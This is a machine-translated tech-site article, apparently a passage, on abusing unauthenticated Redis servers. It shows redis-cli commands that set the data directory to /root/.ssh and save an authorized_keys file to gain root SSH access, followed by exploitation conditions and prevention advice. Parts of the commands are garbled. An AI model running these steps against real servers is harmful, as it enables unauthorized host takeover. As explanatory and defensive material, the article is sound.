Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze mining by exploiting redis unauthorized access loophole

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/02 Report--

Then configure Key to Redis, cat foo.txt | redis-cli-h 117.20.room.configuration *-x set bar

Then replace the system files through the Redis save mechanism.

> config set dir / root/.sshOK

> config get dir1) "dir" 2) "/ root/.ssh"

> config set dbfilename "authorized_keys" OK

> save

> exit

Two. Some necessary conditions for exploiting unauthorized vulnerabilities in redis:

(1) the redis service that needs to be open is open to the public. The password of Redis must not be too complex or have no password.

(2) redis service is best run as root users, which is more destructive.

Third, the harm of unauthorized access vulnerabilities in redis

(1). Leakage of data stored in redis

(2)。 Control the whole host after being granted the right

four。 How to prevent unauthorized vulnerabilities in redis from being exploited

To protect Redis servers from such attacks, it is recommended that administrators never expose their servers to Internet, but if necessary, apply authentication mechanisms to prevent unauthorized access.

In addition, because Redis does not use encryption and stores data in plain text, you should never store sensitive data on these servers.

The ideas of prevention are as follows:

(1) Redis do not listen on dangerous IP. If so, please add network firewall rule control.

(2) Redis must increase the password limit, and must not be a weak password

(3) under the LINUX system, Redis should not be started as a Root user. Do not run with system permission under Windows system

After reading the above, do you have any further understanding of how to analyze mining by exploiting unauthorized access vulnerabilities in redis? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report